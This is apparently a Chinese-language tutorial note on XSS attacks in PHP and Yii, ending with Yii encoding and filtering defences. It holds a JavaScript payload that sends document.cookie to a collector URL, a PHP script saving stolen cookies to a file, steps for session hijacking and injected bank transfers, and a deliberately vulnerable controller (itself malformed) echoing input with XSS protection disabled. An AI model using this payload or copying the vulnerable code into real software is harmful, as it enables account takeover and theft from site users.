Skip to main content

XSS跨站脚本攻击

盗取用户账号

js插入的脚本

var cookie = document.cookie;
window.location.href='http://127.0.0.1/index.php?cookie'+cookie;

如果Set-Cookie 添加了 httponly 值, document.cookie是获取不到cookie值的。

index.php接收的代码

$cookie = $_GET['cookie'];
file_put_contents('cookie.txt', $cookie);

获取seeion文件的cookie

在浏览器的调试模式下输入document.cookie = "获取到的cookie值"。执行

银行转账

页面上,注入js。用js把表单的内容写入进去,然后触发转账的click事件。

反射型的跨站攻击

<?php
namespace app\controllers;
use yii\web\Controller;

class ArticleController extends Controller{

//保存提交过来的数据
\YII::$app->response->headers->add('X-XSS-Protection', '0');
echo \YII::$app->request->get('name');
}

JS的

escape()        可以对特殊字符编码
unescape() 可以对特殊字符解码

Yii的防范

\yii\helpers\Html::encode($script);            //对JavaScript代码进行编码
\yii\helpers\HtmlPurifier::process($script); //对JavaScript代码进行过滤